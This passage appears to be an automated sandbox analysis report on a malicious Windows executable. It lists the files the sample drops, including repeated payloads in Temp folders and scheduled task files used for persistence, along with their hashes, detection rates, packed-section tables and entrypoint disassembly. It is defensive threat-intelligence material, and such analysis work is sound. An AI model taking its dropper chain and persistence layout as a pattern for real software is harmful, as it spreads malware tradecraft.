Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3866624
Entropy (8bit):	7.425649747969125
Encrypted:	false
SSDEEP:	49152:FwREDDM3BlgE2M/yk/dKUUs+Yj5/UGWjKJvRdHeMxWrP+beY7UY71F:FwREOBlkqxKUUhU5/UBovRdMwZgW
MD5:	FFA27EC68B3929C9BD8A03750B54A9D1
SHA1:	3E82C684DB2D340AD61F091427F69D68EAD7EE0B
SHA-256:	902A6D2441F5203560FBDED37CE0F0482284914806F4A6E75EF446F954F57BD4
SHA-512:	3C0F26365B1D35405CBAD105602840CCF37B5739440BE0DFEA091420543F743A59BB17DF621BB9968A6B0F8FEF3C518C4015932A1A42426CA6D4D29DE8B71783
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................^...@......@...................p..q....P........................^.X(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2937856
Entropy (8bit):	6.5489912073067815
Encrypted:	false
SSDEEP:	49152:mlxmP5J2iVX8OHBTEjXx6ZSRjgLTS3gI4ix3bJpkjjQ:SAP5J2iVXbHBTEjXx6ZSpsTE/brkjj
MD5:	EA1B8BAFCB99BC660562BCB5F4CB63F3
SHA1:	CC97F694826C90CC8C8BD9666066EC491828D401
SHA-256:	C340F6CCCE063FD78345F78E8C1970A5D6E170192CDBD20E5B48884F7268BD37
SHA-512:	AAA32B5217DE08BAAB1AB09E2C22F5F71374AF6B02143E4B69341A66A0B1BB8E0B31E5DD4A4F33CE35CF4D2D1015EBF043CEF6F958BF695CB1B2F7CA2E8E2309
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0......_-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rdpqavxy. ........................@...vlmkkwpy....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2126336
Entropy (8bit):	7.959238899149466
Encrypted:	false
SSDEEP:	49152:H5N3S9xKFwDyNDflUSreJuuCvOQnJYmNh+s:H5hS9xK+DyNDNH9u+BNh+s
MD5:	E71C5AEE12EE323FC4F40010437D4186
SHA1:	6389BDA37CEE4CA4724306CFA8A73FF318713DE3
SHA-256:	05D8C0BF7ACBC23D2A49073D4CDDE8547526BB55B6893F21C4753CC8800B0A8E
SHA-512:	D3F0A9CF2EB19F1573B289BFDA2C3D0E11AACBC334F4A8C09318E9379568FE5DB15EBE5A6DB6F102168A14E1255D6949F3EDBCBEB7699A0ECBD35F2D8D5F0D9C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r.....RR!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...dcpywpmo......X.....................@...ghlarfhj.....pr......L .............@....taggant.0....r.."...P .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2937856
Entropy (8bit):	6.5489912073067815
Encrypted:	false
SSDEEP:	49152:mlxmP5J2iVX8OHBTEjXx6ZSRjgLTS3gI4ix3bJpkjjQ:SAP5J2iVXbHBTEjXx6ZSpsTE/brkjj
MD5:	EA1B8BAFCB99BC660562BCB5F4CB63F3
SHA1:	CC97F694826C90CC8C8BD9666066EC491828D401
SHA-256:	C340F6CCCE063FD78345F78E8C1970A5D6E170192CDBD20E5B48884F7268BD37
SHA-512:	AAA32B5217DE08BAAB1AB09E2C22F5F71374AF6B02143E4B69341A66A0B1BB8E0B31E5DD4A4F33CE35CF4D2D1015EBF043CEF6F958BF695CB1B2F7CA2E8E2309
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0......_-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rdpqavxy. ........................@...vlmkkwpy....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.947310300164895
Encrypted:	false
SSDEEP:	49152:hHxYCcMZJv29KMiwObbQZwOU5X1kR/AEFktM:hHxYWPUi7vQHUxgEM
MD5:	436EC8E845CBB9BCD7098B37BE1C0610
SHA1:	5149FFF99B5FEF0018F704566908816D838C064C
SHA-256:	E80171FD5B32206E71FED542C3CAE3055217F5F590FAF8DAA155B4A362942E65
SHA-512:	7DF98128AB269DB1BEF8E802F130D3D426133EA72A34F24BB299EC2980F373E7D6F4884D2B296D6633BF5EA82A716C37A8C55A494A9FC8E42F6D798896EAC4B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L......C....@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...kxpzlyin.p....1..f..................@...ryespbnx..... L......\..............@....taggant.0...0L.."...`..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.472675766370845
Encrypted:	false
SSDEEP:	24576:SaNWjcn0Hfkl3VVt2KK2rAR+Un6T5jMT1NxftHhYeg0bJrqM5IjgZACUpaA5Tb1z:SsnhVVGwFNjY1IQAMA5lXWgnDFe5
MD5:	A2A68D9FBC4EAF04D07B8DD2E41837B2
SHA1:	84DAF5828FBB9E6B99AF9AD410A009EFE2F7B653
SHA-256:	D493DBE8080A99BC5717FB457532DE55D6AA7FAEC496380B518A951D71CB39F0
SHA-512:	04454CE6A449BE2511ED161EEB53D022B6DF9E75AD467E25EE980707D9695442841425175946E90E81DC50DEF2FDA101113DFE1F825D1F7EE729C8AB187376C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....K.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ziejvuqc.`......P..:..............@...vpkhfhix. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.472675766370845
Encrypted:	false
SSDEEP:	24576:SaNWjcn0Hfkl3VVt2KK2rAR+Un6T5jMT1NxftHhYeg0bJrqM5IjgZACUpaA5Tb1z:SsnhVVGwFNjY1IQAMA5lXWgnDFe5
MD5:	A2A68D9FBC4EAF04D07B8DD2E41837B2
SHA1:	84DAF5828FBB9E6B99AF9AD410A009EFE2F7B653
SHA-256:	D493DBE8080A99BC5717FB457532DE55D6AA7FAEC496380B518A951D71CB39F0
SHA-512:	04454CE6A449BE2511ED161EEB53D022B6DF9E75AD467E25EE980707D9695442841425175946E90E81DC50DEF2FDA101113DFE1F825D1F7EE729C8AB187376C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....K.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ziejvuqc.`......P..:..............@...vpkhfhix. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003142001\FontCreator.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3866624
Entropy (8bit):	7.425649747969125
Encrypted:	false
SSDEEP:	49152:FwREDDM3BlgE2M/yk/dKUUs+Yj5/UGWjKJvRdHeMxWrP+beY7UY71F:FwREOBlkqxKUUhU5/UBovRdMwZgW
MD5:	FFA27EC68B3929C9BD8A03750B54A9D1
SHA1:	3E82C684DB2D340AD61F091427F69D68EAD7EE0B
SHA-256:	902A6D2441F5203560FBDED37CE0F0482284914806F4A6E75EF446F954F57BD4
SHA-512:	3C0F26365B1D35405CBAD105602840CCF37B5739440BE0DFEA091420543F743A59BB17DF621BB9968A6B0F8FEF3C518C4015932A1A42426CA6D4D29DE8B71783
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................^...@......@...................p..q....P........................^.X(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.947310300164895
Encrypted:	false
SSDEEP:	49152:hHxYCcMZJv29KMiwObbQZwOU5X1kR/AEFktM:hHxYWPUi7vQHUxgEM
MD5:	436EC8E845CBB9BCD7098B37BE1C0610
SHA1:	5149FFF99B5FEF0018F704566908816D838C064C
SHA-256:	E80171FD5B32206E71FED542C3CAE3055217F5F590FAF8DAA155B4A362942E65
SHA-512:	7DF98128AB269DB1BEF8E802F130D3D426133EA72A34F24BB299EC2980F373E7D6F4884D2B296D6633BF5EA82A716C37A8C55A494A9FC8E42F6D798896EAC4B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L......C....@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...kxpzlyin.p....1..f..................@...ryespbnx..... L......\..............@....taggant.0...0L.."...`..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2797568
Entropy (8bit):	6.472675766370845
Encrypted:	false
SSDEEP:	24576:SaNWjcn0Hfkl3VVt2KK2rAR+Un6T5jMT1NxftHhYeg0bJrqM5IjgZACUpaA5Tb1z:SsnhVVGwFNjY1IQAMA5lXWgnDFe5
MD5:	A2A68D9FBC4EAF04D07B8DD2E41837B2
SHA1:	84DAF5828FBB9E6B99AF9AD410A009EFE2F7B653
SHA-256:	D493DBE8080A99BC5717FB457532DE55D6AA7FAEC496380B518A951D71CB39F0
SHA-512:	04454CE6A449BE2511ED161EEB53D022B6DF9E75AD467E25EE980707D9695442841425175946E90E81DC50DEF2FDA101113DFE1F825D1F7EE729C8AB187376C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....K.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ziejvuqc.`......P..:..............@...vpkhfhix. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.472675766370845
Encrypted:	false
SSDEEP:	24576:SaNWjcn0Hfkl3VVt2KK2rAR+Un6T5jMT1NxftHhYeg0bJrqM5IjgZACUpaA5Tb1z:SsnhVVGwFNjY1IQAMA5lXWgnDFe5
MD5:	A2A68D9FBC4EAF04D07B8DD2E41837B2
SHA1:	84DAF5828FBB9E6B99AF9AD410A009EFE2F7B653
SHA-256:	D493DBE8080A99BC5717FB457532DE55D6AA7FAEC496380B518A951D71CB39F0
SHA-512:	04454CE6A449BE2511ED161EEB53D022B6DF9E75AD467E25EE980707D9695442841425175946E90E81DC50DEF2FDA101113DFE1F825D1F7EE729C8AB187376C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....K.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ziejvuqc.`......P..:..............@...vpkhfhix. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.948776245885388
Encrypted:	false
SSDEEP:	49152:bHWBQg2Rh7VudjY8c7ZfUQN8BqM5GYJhI6sByEhXlY:qQggRuds3mnd5GShIBsw1Y
MD5:	36F337DF5AF6FC1D820E0F111A73C352
SHA1:	3764D9AAE67D662B8787BE76DD3E5CD1210AC992
SHA-256:	D374325181508865D937442398A02BDF371EAA7C74CC04CF975B3238C46EC57A
SHA-512:	FDA75FD4E734A59F420445776F9F121B6CE08FD6A6068E63EF784B3BA065B9D84E43181B7FF8B28D6BB1B65B13A41049DA98F4EDFCBABFDA039F0B29BAAE741F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....].....@.................................W...k.......D...................PdJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...npluczcb......0.....................@...cveucipf.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.948776245885388
Encrypted:	false
SSDEEP:	49152:bHWBQg2Rh7VudjY8c7ZfUQN8BqM5GYJhI6sByEhXlY:qQggRuds3mnd5GShIBsw1Y
MD5:	36F337DF5AF6FC1D820E0F111A73C352
SHA1:	3764D9AAE67D662B8787BE76DD3E5CD1210AC992
SHA-256:	D374325181508865D937442398A02BDF371EAA7C74CC04CF975B3238C46EC57A
SHA-512:	FDA75FD4E734A59F420445776F9F121B6CE08FD6A6068E63EF784B3BA065B9D84E43181B7FF8B28D6BB1B65B13A41049DA98F4EDFCBABFDA039F0B29BAAE741F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....].....@.................................W...k.......D...................PdJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...npluczcb......0.....................@...cveucipf.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.4924122484395714
Encrypted:	false
SSDEEP:	6:DimjlkJZX2JUEZ+lX1lOJUPelkDdtcVAkXIEZ8MlW8+y0lBsYt0:sl2JQ1lOmeeDhkXd8kX+VBsYt0
MD5:	A647FD9A24E6A31406101FA6602E1536
SHA1:	A9ACDACE485BCF4C34335810E88934CE4DEB3044
SHA-256:	C1D9659B5EFC3F96CAA18E936A2D3A4BF4DE865B6192A48A9E681B675A9772C2
SHA-512:	38B17DFA504A3ACF938EE5CC97FB61ED14BFA21356E2672BE0F32CD71488FE56D2EE80D152DA26D690A8C4A6F2C8B9BD9F992533B4F8CB2C9E84F9B483738177
Malicious:	false
Preview:	.....[.C..%D.c.d.K..F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................".@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4888835811021397
Encrypted:	false
SSDEEP:	6:/hSAtDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBswut0:/hxJlvJQ1CGAFMkXd8kX+VBswut0
MD5:	CA85290F1CBBC47CC01E6A3CFC9C5618
SHA1:	27F231D3DED9F35B7596A0F2BD7B9FED114AA47C
SHA-256:	4FA4E353F1BBF8F2CF0ABBDA7F2214F1B40534BDC64C23A28FE193C9A7901AFB
SHA-512:	07F4E3FC3FE2082D59DDD97C92AC849E95E5A6797A63E176FA47F44C2A5C0C092BBF58EC450CC824A8FF196D150D26F8BE613F3CD2E0BB7405FC5BA6A4D676FF
Malicious:	false
Preview:	.....D..Y..E.]H(6.&.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................#.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947310300164895
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'933'824 bytes
MD5:	436ec8e845cbb9bcd7098b37be1c0610
SHA1:	5149fff99b5fef0018f704566908816d838c064c
SHA256:	e80171fd5b32206e71fed542c3cae3055217f5f590faf8daa155b4a362942e65
SHA512:	7df98128ab269db1bef8e802f130d3d426133ea72a34f24bb299ec2980f373e7d6f4884d2b296d6633bf5ea82a716c37a8c55a494a9fc8e42f6d798896eac4b3
SSDEEP:	49152:hHxYCcMZJv29KMiwObbQZwOU5X1kR/AEFktM:hHxYWPUi7vQHUxgEM
TLSH:	5295336E635039B3C6199F3173A3BBB27BF4DC263793815676153138C2A23A374A11B6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8F08B7D0FAh
punpcklbw mm3, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
sub al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c111c	0x10	kxpzlyin
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c10cc	0x18	kxpzlyin
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	d329aae1c1aa54068110de2b8ee52476	False	0.9972592387602179	data	7.983210433279274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4d8	0x400	a46c67414bbdfe9cacc4eaa8bcc3d879	False	0.58984375	data	5.010014536503396	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b0000	0x200	aa5e8435d2ea839cd30356818d5cb39f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kxpzlyin	0x31b000	0x1a7000	0x1a6600	1e54709328c258a4af3bcf13cdc879d5	False	0.9941579655593371	data	7.9530544203010995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ryespbnx	0x4c2000	0x1000	0x400	f0c3dec9a077cd0b2f5315399078f7c0	False	0.716796875	data	5.704701536081477	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c3000	0x3000	0x2200	b88aa43064e193b1a2fbbc8dceb01e8d	False	0.09892003676470588	DOS executable (COM)	1.0722574082878638	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
